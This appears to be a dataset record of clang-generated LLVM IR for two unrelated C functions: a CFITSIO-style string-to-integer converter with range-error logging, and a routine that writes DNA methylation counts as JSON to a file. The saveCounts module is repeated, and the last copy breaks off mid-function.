@ERANGE = dso_local global i64 0, align 8
@.str = private unnamed_addr constant [54 x i8] c"Range Error in ffc2ii converting string to long int: \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @ffc2ii(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca [81 x i8], align 16
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
%10 = load ptr, ptr %7, align 8
%11 = load i32, ptr %10, align 4
%12 = icmp sgt i32 %11, 0
br i1 %12, label %13, label %16
13: ; preds = %3
%14 = load ptr, ptr %7, align 8
%15 = load i32, ptr %14, align 4
store i32 %15, ptr %4, align 4
br label %48
16: ; preds = %3
store i64 0, ptr @errno, align 8
%17 = load ptr, ptr %6, align 8
store i64 0, ptr %17, align 8
%18 = load ptr, ptr %5, align 8
%19 = call i64 @strtol(ptr noundef %18, ptr noundef %8, i32 noundef 10)
%20 = load ptr, ptr %6, align 8
store i64 %19, ptr %20, align 8
%21 = load ptr, ptr %8, align 8
%22 = load i8, ptr %21, align 1
%23 = sext i8 %22 to i32
%24 = icmp ne i32 %23, 0
br i1 %24, label %25, label %32
25: ; preds = %16
%26 = load ptr, ptr %8, align 8
%27 = load i8, ptr %26, align 1
%28 = sext i8 %27 to i32
%29 = icmp ne i32 %28, 32
br i1 %29, label %30, label %32
30: ; preds = %25
%31 = load ptr, ptr %7, align 8
store i32 407, ptr %31, align 4
br label %32
32: ; preds = %30, %25, %16
%33 = load i64, ptr @errno, align 8
%34 = load i64, ptr @ERANGE, align 8
%35 = icmp eq i64 %33, %34
br i1 %35, label %36, label %45
36: ; preds = %32
%37 = getelementptr inbounds [81 x i8], ptr %9, i64 0, i64 0
%38 = call i32 @strcpy(ptr noundef %37, ptr noundef @.str)
%39 = getelementptr inbounds [81 x i8], ptr %9, i64 0, i64 0
%40 = load ptr, ptr %5, align 8
%41 = call i32 @strncat(ptr noundef %39, ptr noundef %40, i32 noundef 25)
%42 = getelementptr inbounds [81 x i8], ptr %9, i64 0, i64 0
%43 = call i32 @ffpmsg(ptr noundef %42)
%44 = load ptr, ptr %7, align 8
store i32 412, ptr %44, align 4
store i64 0, ptr @errno, align 8
br label %45
45: ; preds = %36, %32
%46 = load ptr, ptr %7, align 8
%47 = load i32, ptr %46, align 4
store i32 %47, ptr %4, align 4
br label %48
48: ; preds = %45, %13
%49 = load i32, ptr %4, align 4
ret i32 %49
}
declare i64 @strtol(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strcpy(ptr noundef, ptr noundef) #1
declare i32 @strncat(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @ffpmsg(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3oif215_.c'
source_filename = "/tmp/tmp3oif215_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [2 x i8] c"w\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"{\0A\00", align 1
@.str.2 = private unnamed_addr constant [28 x i8] c" \22TotalDinucleotides\22:%i,\0A\00", align 1
@.str.3 = private unnamed_addr constant [24 x i8] c" \22TotalQuality20\22:%i,\0A\00", align 1
@.str.4 = private unnamed_addr constant [25 x i8] c" \22TotalHomozygous\22:%i,\0A\00", align 1
@.str.5 = private unnamed_addr constant [34 x i8] c" \22TotalHomozygousQuality20\22:%i,\0A\00", align 1
@.str.6 = private unnamed_addr constant [28 x i8] c" \22TotalAlternativeCX\22:%i,\0A\00", align 1
@.str.7 = private unnamed_addr constant [37 x i8] c" \22TotalAlternativeCXQuality20\22:%i,\0A\00", align 1
@.str.8 = private unnamed_addr constant [25 x i8] c" \22TotalMethylated\22:%i,\0A\00", align 1
@.str.9 = private unnamed_addr constant [34 x i8] c" \22TotalMethylatedQuality20\22:%i,\0A\00", align 1
@.str.10 = private unnamed_addr constant [37 x i8] c" \22TotalIntermediateMethylated\22:%i,\0A\00", align 1
@.str.11 = private unnamed_addr constant [46 x i8] c" \22TotalIntermediateMethylatedQuality20\22:%i,\0A\00", align 1
@.str.12 = private unnamed_addr constant [27 x i8] c" \22TotalUnMethylated\22:%i,\0A\00", align 1
@.str.13 = private unnamed_addr constant [36 x i8] c" \22TotalUnmethylatedQuality20\22:%i,\0A\00", align 1
@.str.14 = private unnamed_addr constant [35 x i8] c" \22TotalHomozygousMethylated\22:%i,\0A\00", align 1
@.str.15 = private unnamed_addr constant [44 x i8] c" \22TotalHomozygousMethylatedQuality20\22:%i,\0A\00", align 1
@.str.16 = private unnamed_addr constant [38 x i8] c" \22TotalAlternativeCXMethylated\22:%i,\0A\00", align 1
@.str.17 = private unnamed_addr constant [47 x i8] c" \22TotalAlternativeCXMethylatedQuality20\22:%i,\0A\00", align 1
@.str.18 = private unnamed_addr constant [47 x i8] c" \22TotalHomozygousIntermediateMethylated\22:%i,\0A\00", align 1
@.str.19 = private unnamed_addr constant [56 x i8] c" \22TotalHomozygousIntermediateMethylatedQuality20\22:%i,\0A\00", align 1
@.str.20 = private unnamed_addr constant [50 x i8] c" \22TotalAlternativeCXIntermediateMethylated\22:%i,\0A\00", align 1
@.str.21 = private unnamed_addr constant [59 x i8] c" \22TotalAlternativeCXIntermediateMethylatedQuality20\22:%i,\0A\00", align 1
@.str.22 = private unnamed_addr constant [37 x i8] c" \22TotalHomozygousUnMethylated\22:%i,\0A\00", align 1
@.str.23 = private unnamed_addr constant [46 x i8] c" \22TotalHomozygousUnMethylatedQuality20\22:%i,\0A\00", align 1
@.str.24 = private unnamed_addr constant [40 x i8] c" \22TotalAlternativeCXUnMethylated\22:%i,\0A\00", align 1
@.str.25 = private unnamed_addr constant [49 x i8] c" \22TotalAlternativeCXUnMethylatedQuality20\22:%i,\0A\00", align 1
@.str.26 = private unnamed_addr constant [31 x i8] c" \22TotalNonReferenceCpGs\22:%i,\0A\00", align 1
@.str.27 = private unnamed_addr constant [40 x i8] c" \22TotalNonReferenceCpGsQuality20\22:%i,\0A\00", align 1
@.str.28 = private unnamed_addr constant [41 x i8] c" \22TotalNonReferenceCpGsMethylated\22:%i,\0A\00", align 1
@.str.29 = private unnamed_addr constant [50 x i8] c" \22TotalNonReferenceCpGsMethylatedQuality20\22:%i,\0A\00", align 1
@.str.30 = private unnamed_addr constant [53 x i8] c" \22TotalNonReferenceCpGsIntermediateMethylated\22:%i,\0A\00", align 1
@.str.31 = private unnamed_addr constant [62 x i8] c" \22TotalNonReferenceCpGsIntermediateMethylatedQuality20\22:%i,\0A\00", align 1
@.str.32 = private unnamed_addr constant [43 x i8] c" \22TotalNonReferenceCpGsUnMethylated\22:%i,\0A\00", align 1
@.str.33 = private unnamed_addr constant [52 x i8] c" \22TotalNonReferenceCpGsUnMethylatedQuality20\22:%i,\0A\00", align 1
@.str.34 = private unnamed_addr constant [38 x i8] c" \22TotalSnpsReferenceCpGsCalled\22:%i,\0A\00", align 1
@.str.35 = private unnamed_addr constant [47 x i8] c" \22TotalSnpsReferenceCpGsCalledQuality20\22:%i,\0A\00", align 1
@.str.36 = private unnamed_addr constant [48 x i8] c" \22TotalSnpsReferenceCpGsCalledMethylated\22:%i,\0A\00", align 1
@.str.37 = private unnamed_addr constant [57 x i8] c" \22TotalSnpsReferenceCpGsCalledMethylatedQuality20\22:%i,\0A\00", align 1
@.str.38 = private unnamed_addr constant [60 x i8] c" \22TotalSnpsReferenceCpGsCalledIntermediateMethylated\22:%i,\0A\00", align 1
@.str.39 = private unnamed_addr constant [69 x i8] c" \22TotalSnpsReferenceCpGsCalledIntermediateMethylatedQuality20\22:%i,\0A\00", align 1
@.str.40 = private unnamed_addr constant [50 x i8] c" \22TotalSnpsReferenceCpGsCalledUnMethylated\22:%i,\0A\00", align 1
@.str.41 = private unnamed_addr constant [58 x i8] c" \22TotalSnpsReferenceCpGsCalledUnMethylatedQuality20\22:%i\0A\00", align 1
@.str.42 = private unnamed_addr constant [3 x i8] c"}\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @saveCounts(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call ptr @fopen(ptr noundef %4, ptr noundef @.str)
store ptr %5, ptr %3, align 8
%6 = load ptr, ptr %3, align 8
%7 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %6, ptr noundef @.str.1)
%8 = load ptr, ptr %3, align 8
%9 = call i32 (...) @getTotalDinucleotides()
%10 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %8, ptr noundef @.str.2, i32 noundef %9)
%11 = load ptr, ptr %3, align 8
%12 = call i32 (...) @getTotalQuality20()
%13 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %11, ptr noundef @.str.3, i32 noundef %12)
%14 = load ptr, ptr %3, align 8
%15 = call i32 (...) @getTotalHomozygous()
%16 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %14, ptr noundef @.str.4, i32 noundef %15)
%17 = load ptr, ptr %3, align 8
%18 = call i32 (...) @getTotalHomozygousQuality20()
%19 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %17, ptr noundef @.str.5, i32 noundef %18)
%20 = load ptr, ptr %3, align 8
%21 = call i32 (...) @getTotalAlternativeCX()
%22 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %20, ptr noundef @.str.6, i32 noundef %21)
%23 = load ptr, ptr %3, align 8
%24 = call i32 (...) @getTotalAlternativeCXQuality20()
%25 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %23, ptr noundef @.str.7, i32 noundef %24)
%26 = load ptr, ptr %3, align 8
%27 = call i32 (...) @getTotalMethylated()
%28 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %26, ptr noundef @.str.8, i32 noundef %27)
%29 = load ptr, ptr %3, align 8
%30 = call i32 (...) @getTotalMethylatedQuality20()
%31 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %29, ptr noundef @.str.9, i32 noundef %30)
%32 = load ptr, ptr %3, align 8
%33 = call i32 (...) @getTotalIntermediateMethylated()
%34 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %32, ptr noundef @.str.10, i32 noundef %33)
%35 = load ptr, ptr %3, align 8
%36 = call i32 (...) @getTotalIntermediateMethylatedQuality20()
%37 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %35, ptr noundef @.str.11, i32 noundef %36)
%38 = load ptr, ptr %3, align 8
%39 = call i32 (...) @getTotalUnMethylated()
%40 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %38, ptr noundef @.str.12, i32 noundef %39)
%41 = load ptr, ptr %3, align 8
%42 = call i32 (...) @getTotalUnMethylatedQuality20()
%43 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %41, ptr noundef @.str.13, i32 noundef %42)
%44 = load ptr, ptr %3, align 8
%45 = call i32 (...) @getTotalMethylatedHomozygous()
%46 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %44, ptr noundef @.str.14, i32 noundef %45)
%47 = load ptr, ptr %3, align 8
%48 = call i32 (...) @getTotalMethylatedHomozygousQuality20()
%49 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %47, ptr noundef @.str.15, i32 noundef %48)
%50 = load ptr, ptr %3, align 8
%51 = call i32 (...) @getTotalMethylatedAlternativeCX()
%52 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %50, ptr noundef @.str.16, i32 noundef %51)
%53 = load ptr, ptr %3, align 8
%54 = call i32 (...) @getTotalMethylatedAlternativeCXQuality20()
%55 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %53, ptr noundef @.str.17, i32 noundef %54)
%56 = load ptr, ptr %3, align 8
%57 = call i32 (...) @getTotalIntermediateMethylatedHomozygous()
%58 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %56, ptr noundef @.str.18, i32 noundef %57)
%59 = load ptr, ptr %3, align 8
%60 = call i32 (...) @getTotalIntermediateMethylatedHomozygousQuality20()
%61 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %59, ptr noundef @.str.19, i32 noundef %60)
%62 = load ptr, ptr %3, align 8
%63 = call i32 (...) @getTotalIntermediateMethylatedAlternativeCX()
%64 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %62, ptr noundef @.str.20, i32 noundef %63)
%65 = load ptr, ptr %3, align 8
%66 = call i32 (...) @getTotalIntermediateMethylatedAlternativeCXQuality20()
%67 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %65, ptr noundef @.str.21, i32 noundef %66)
%68 = load ptr, ptr %3, align 8
%69 = call i32 (...) @getTotalUnMethylatedHomozygous()
%70 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %68, ptr noundef @.str.22, i32 noundef %69)
%71 = load ptr, ptr %3, align 8
%72 = call i32 (...) @getTotalUnMethylatedHomozygousQuality20()
%73 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %71, ptr noundef @.str.23, i32 noundef %72)
%74 = load ptr, ptr %3, align 8
%75 = call i32 (...) @getTotalUnMethylatedAlternativeCX()
%76 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %74, ptr noundef @.str.24, i32 noundef %75)
%77 = load ptr, ptr %3, align 8
%78 = call i32 (...) @getTotalUnMethylatedAlternativeCXQuality20()
%79 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %77, ptr noundef @.str.25, i32 noundef %78)
%80 = load ptr, ptr %3, align 8
%81 = call i32 (...) @getTotalNonReferenceCpgs()
%82 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %80, ptr noundef @.str.26, i32 noundef %81)
%83 = load ptr, ptr %3, align 8
%84 = call i32 (...) @getTotalNonReferenceCpgsQuality20()
%85 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %83, ptr noundef @.str.27, i32 noundef %84)
%86 = load ptr, ptr %3, align 8
%87 = call i32 (...) @getTotalNonReferenceCpgsMethylated()
%88 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %86, ptr noundef @.str.28, i32 noundef %87)
%89 = load ptr, ptr %3, align 8
%90 = call i32 (...) @getTotalNonReferenceCpgsMethylatedQuality20()
%91 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %89, ptr noundef @.str.29, i32 noundef %90)
%92 = load ptr, ptr %3, align 8
%93 = call i32 (...) @getTotalNonReferenceCpgsIntermediateMethylated()
%94 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %92, ptr noundef @.str.30, i32 noundef %93)
%95 = load ptr, ptr %3, align 8
%96 = call i32 (...) @getTotalNonReferenceCpgsIntermediateMethylatedQuality20()
%97 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %95, ptr noundef @.str.31, i32 noundef %96)
%98 = load ptr, ptr %3, align 8
%99 = call i32 (...) @getTotalNonReferenceCpgsUnMethylated()
%100 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %98, ptr noundef @.str.32, i32 noundef %99)
%101 = load ptr, ptr %3, align 8
%102 = call i32 (...) @getTotalNonReferenceCpgsUnMethylatedQuality20()
%103 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %101, ptr noundef @.str.33, i32 noundef %102)
%104 = load ptr, ptr %3, align 8
%105 = call i32 (...) @getTotalSnpsReferenceCpGs()
%106 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %104, ptr noundef @.str.34, i32 noundef %105)
%107 = load ptr, ptr %3, align 8
%108 = call i32 (...) @getTotalSnpsReferenceCpGsQuality20()
%109 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %107, ptr noundef @.str.35, i32 noundef %108)
%110 = load ptr, ptr %3, align 8
%111 = call i32 (...) @getTotalSnpsReferenceCpGsMethylated()
%112 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %110, ptr noundef @.str.36, i32 noundef %111)
%113 = load ptr, ptr %3, align 8
%114 = call i32 (...) @getTotalSnpsReferenceCpGsMethylatedQuality20()
%115 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %113, ptr noundef @.str.37, i32 noundef %114)
%116 = load ptr, ptr %3, align 8
%117 = call i32 (...) @getTotalSnpsReferenceCpGsIntermediateMethylated()
%118 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %116, ptr noundef @.str.38, i32 noundef %117)
%119 = load ptr, ptr %3, align 8
%120 = call i32 (...) @getTotalSnpsReferenceCpGsIntermediateMethylatedQuality20()
%121 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %119, ptr noundef @.str.39, i32 noundef %120)
%122 = load ptr, ptr %3, align 8
%123 = call i32 (...) @getTotalSnpsReferenceCpGsUnMethylated()
%124 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %122, ptr noundef @.str.40, i32 noundef %123)
%125 = load ptr, ptr %3, align 8
%126 = call i32 (...) @getTotalSnpsReferenceCpGsUnMethylatedQuality20()
%127 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %125, ptr noundef @.str.41, i32 noundef %126)
%128 = load ptr, ptr %3, align 8
%129 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %128, ptr noundef @.str.42)
%130 = load ptr, ptr %3, align 8
%131 = call i32 @fclose(ptr noundef %130)
ret void
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fprintf(ptr noundef, ptr noundef, ...) #1
declare i32 @getTotalDinucleotides(...) #1
declare i32 @getTotalQuality20(...) #1
declare i32 @getTotalHomozygous(...) #1
declare i32 @getTotalHomozygousQuality20(...) #1
declare i32 @getTotalAlternativeCX(...) #1
declare i32 @getTotalAlternativeCXQuality20(...) #1
declare i32 @getTotalMethylated(...) #1
declare i32 @getTotalMethylatedQuality20(...) #1
declare i32 @getTotalIntermediateMethylated(...) #1
declare i32 @getTotalIntermediateMethylatedQuality20(...) #1
declare i32 @getTotalUnMethylated(...) #1
declare i32 @getTotalUnMethylatedQuality20(...) #1
declare i32 @getTotalMethylatedHomozygous(...) #1
declare i32 @getTotalMethylatedHomozygousQuality20(...) #1
declare i32 @getTotalMethylatedAlternativeCX(...) #1
declare i32 @getTotalMethylatedAlternativeCXQuality20(...) #1
declare i32 @getTotalIntermediateMethylatedHomozygous(...) #1
declare i32 @getTotalIntermediateMethylatedHomozygousQuality20(...) #1
declare i32 @getTotalIntermediateMethylatedAlternativeCX(...) #1
declare i32 @getTotalIntermediateMethylatedAlternativeCXQuality20(...) #1
declare i32 @getTotalUnMethylatedHomozygous(...) #1
declare i32 @getTotalUnMethylatedHomozygousQuality20(...) #1
declare i32 @getTotalUnMethylatedAlternativeCX(...) #1
declare i32 @getTotalUnMethylatedAlternativeCXQuality20(...) #1
declare i32 @getTotalNonReferenceCpgs(...) #1
declare i32 @getTotalNonReferenceCpgsQuality20(...) #1
declare i32 @getTotalNonReferenceCpgsMethylated(...) #1
declare i32 @getTotalNonReferenceCpgsMethylatedQuality20(...) #1
declare i32 @getTotalNonReferenceCpgsIntermediateMethylated(...) #1
declare i32 @getTotalNonReferenceCpgsIntermediateMethylatedQuality20(...) #1
declare i32 @getTotalNonReferenceCpgsUnMethylated(...) #1
declare i32 @getTotalNonReferenceCpgsUnMethylatedQuality20(...) #1
declare i32 @getTotalSnpsReferenceCpGs(...) #1
declare i32 @getTotalSnpsReferenceCpGsQuality20(...) #1
declare i32 @getTotalSnpsReferenceCpGsMethylated(...) #1
declare i32 @getTotalSnpsReferenceCpGsMethylatedQuality20(...) #1
declare i32 @getTotalSnpsReferenceCpGsIntermediateMethylated(...) #1
declare i32 @getTotalSnpsReferenceCpGsIntermediateMethylatedQuality20(...) #1
declare i32 @getTotalSnpsReferenceCpGsUnMethylated(...) #1
declare i32 @getTotalSnpsReferenceCpGsUnMethylatedQuality20(...) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3oif215_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [2 x i8] c"w\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"{\0A\00", align 1
@.str.2 = private unnamed_addr constant [28 x i8] c" \22TotalDinucleotides\22:%i,\0A\00", align 1
@.str.3 = private unnamed_addr constant [24 x i8] c" \22TotalQuality20\22:%i,\0A\00", align 1
@.str.4 = private unnamed_addr constant [25 x i8] c" \22TotalHomozygous\22:%i,\0A\00", align 1
@.str.5 = private unnamed_addr constant [34 x i8] c" \22TotalHomozygousQuality20\22:%i,\0A\00", align 1
@.str.6 = private unnamed_addr constant [28 x i8] c" \22TotalAlternativeCX\22:%i,\0A\00", align 1
@.str.7 = private unnamed_addr constant [37 x i8] c" \22TotalAlternativeCXQuality20\22:%i,\0A\00", align 1
@.str.8 = private unnamed_addr constant [25 x i8] c" \22TotalMethylated\22:%i,\0A\00", align 1
@.str.9 = private unnamed_addr constant [34 x i8] c" \22TotalMethylatedQuality20\22:%i,\0A\00", align 1
@.str.10 = private unnamed_addr constant [37 x i8] c" \22TotalIntermediateMethylated\22:%i,\0A\00", align 1
@.str.11 = private unnamed_addr constant [46 x i8] c" \22TotalIntermediateMethylatedQuality20\22:%i,\0A\00", align 1
@.str.12 = private unnamed_addr constant [27 x i8] c" \22TotalUnMethylated\22:%i,\0A\00", align 1
@.str.13 = private unnamed_addr constant [36 x i8] c" \22TotalUnmethylatedQuality20\22:%i,\0A\00", align 1
@.str.14 = private unnamed_addr constant [35 x i8] c" \22TotalHomozygousMethylated\22:%i,\0A\00", align 1
@.str.15 = private unnamed_addr constant [44 x i8] c" \22TotalHomozygousMethylatedQuality20\22:%i,\0A\00", align 1
@.str.16 = private unnamed_addr constant [38 x i8] c" \22TotalAlternativeCXMethylated\22:%i,\0A\00", align 1
@.str.17 = private unnamed_addr constant [47 x i8] c" \22TotalAlternativeCXMethylatedQuality20\22:%i,\0A\00", align 1
@.str.18 = private unnamed_addr constant [47 x i8] c" \22TotalHomozygousIntermediateMethylated\22:%i,\0A\00", align 1
@.str.19 = private unnamed_addr constant [56 x i8] c" \22TotalHomozygousIntermediateMethylatedQuality20\22:%i,\0A\00", align 1
@.str.20 = private unnamed_addr constant [50 x i8] c" \22TotalAlternativeCXIntermediateMethylated\22:%i,\0A\00", align 1
@.str.21 = private unnamed_addr constant [59 x i8] c" \22TotalAlternativeCXIntermediateMethylatedQuality20\22:%i,\0A\00", align 1
@.str.22 = private unnamed_addr constant [37 x i8] c" \22TotalHomozygousUnMethylated\22:%i,\0A\00", align 1
@.str.23 = private unnamed_addr constant [46 x i8] c" \22TotalHomozygousUnMethylatedQuality20\22:%i,\0A\00", align 1
@.str.24 = private unnamed_addr constant [40 x i8] c" \22TotalAlternativeCXUnMethylated\22:%i,\0A\00", align 1
@.str.25 = private unnamed_addr constant [49 x i8] c" \22TotalAlternativeCXUnMethylatedQuality20\22:%i,\0A\00", align 1
@.str.26 = private unnamed_addr constant [31 x i8] c" \22TotalNonReferenceCpGs\22:%i,\0A\00", align 1
@.str.27 = private unnamed_addr constant [40 x i8] c" \22TotalNonReferenceCpGsQuality20\22:%i,\0A\00", align 1
@.str.28 = private unnamed_addr constant [41 x i8] c" \22TotalNonReferenceCpGsMethylated\22:%i,\0A\00", align 1
@.str.29 = private unnamed_addr constant [50 x i8] c" \22TotalNonReferenceCpGsMethylatedQuality20\22:%i,\0A\00", align 1
@.str.30 = private unnamed_addr constant [53 x i8] c" \22TotalNonReferenceCpGsIntermediateMethylated\22:%i,\0A\00", align 1
@.str.31 = private unnamed_addr constant [62 x i8] c" \22TotalNonReferenceCpGsIntermediateMethylatedQuality20\22:%i,\0A\00", align 1
@.str.32 = private unnamed_addr constant [43 x i8] c" \22TotalNonReferenceCpGsUnMethylated\22:%i,\0A\00", align 1
@.str.33 = private unnamed_addr constant [52 x i8] c" \22TotalNonReferenceCpGsUnMethylatedQuality20\22:%i,\0A\00", align 1
@.str.34 = private unnamed_addr constant [38 x i8] c" \22TotalSnpsReferenceCpGsCalled\22:%i,\0A\00", align 1
@.str.35 = private unnamed_addr constant [47 x i8] c" \22TotalSnpsReferenceCpGsCalledQuality20\22:%i,\0A\00", align 1
@.str.36 = private unnamed_addr constant [48 x i8] c" \22TotalSnpsReferenceCpGsCalledMethylated\22:%i,\0A\00", align 1
@.str.37 = private unnamed_addr constant [57 x i8] c" \22TotalSnpsReferenceCpGsCalledMethylatedQuality20\22:%i,\0A\00", align 1
@.str.38 = private unnamed_addr constant [60 x i8] c" \22TotalSnpsReferenceCpGsCalledIntermediateMethylated\22:%i,\0A\00", align 1
@.str.39 = private unnamed_addr constant [69 x i8] c" \22TotalSnpsReferenceCpGsCalledIntermediateMethylatedQuality20\22:%i,\0A\00", align 1
@.str.40 = private unnamed_addr constant [50 x i8] c" \22TotalSnpsReferenceCpGsCalledUnMethylated\22:%i,\0A\00", align 1
@.str.41 = private unnamed_addr constant [58 x i8] c" \22TotalSnpsReferenceCpGsCalledUnMethylatedQuality20\22:%i\0A\00", align 1
@.str.42 = private unnamed_addr constant [3 x i8] c"}\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @saveCounts(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call ptr @fopen(ptr noundef %4, ptr noundef @.str)
store ptr %5, ptr %3, align 8
%6 = load ptr, ptr %3, align 8
%7 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %6, ptr noundef @.str.1)
%8 = load ptr, ptr %3, align 8
%9 = call i32 (...) @getTotalDinucleotides()
%10 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %8, ptr noundef @.str.2, i32 noundef %9)
%11 = load ptr, ptr %3, align 8
%12 = call i32 (...) @getTotalQuality20()
%13 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %11, ptr noundef @.str.3, i32 noundef %12)
%14 = load ptr, ptr %3, align 8
%15 = call i32 (...) @getTotalHomozygous()
%16 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %14, ptr noundef @.str.4, i32 noundef %15)
%17 = load ptr, ptr %3, align 8
%18 = call i32 (...) @getTotalHomozygousQuality20()
%19 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %17, ptr noundef @.str.5, i32 noundef %18)
%20 = load ptr, ptr %3, align 8
%21 = call i32 (...) @getTotalAlternativeCX()
%22 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %20, ptr noundef @.str.6, i32 noundef %21)
%23 = load ptr, ptr %3, align 8
%24 = call i32 (...) @getTotalAlternativeCXQuality20()
%25 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %23, ptr noundef @.str.7, i32 noundef %24)
%26 = load ptr, ptr %3, align 8
%27 = call i32 (...) @getTotalMethylated()
%28 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %26, ptr noundef @.str.8, i32 noundef %27)
%29 = load ptr, ptr %3, align 8
%30 = call i32 (...) @getTotalMethylatedQuality20()
%31 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %29, ptr noundef @.str.9, i32 noundef %30)
%32 = load ptr, ptr %3, align 8
%33 = call i32 (...) @getTotalIntermediateMethylated()
%34 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %32, ptr noundef @.str.10, i32 noundef %33)
%35 = load ptr, ptr %3, align 8
%36 = call i32 (...) @getTotalIntermediateMethylatedQuality20()
%37 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %35, ptr noundef @.str.11, i32 noundef %36)
%38 = load ptr, ptr %3, align 8
%39 = call i32 (...) @getTotalUnMethylated()
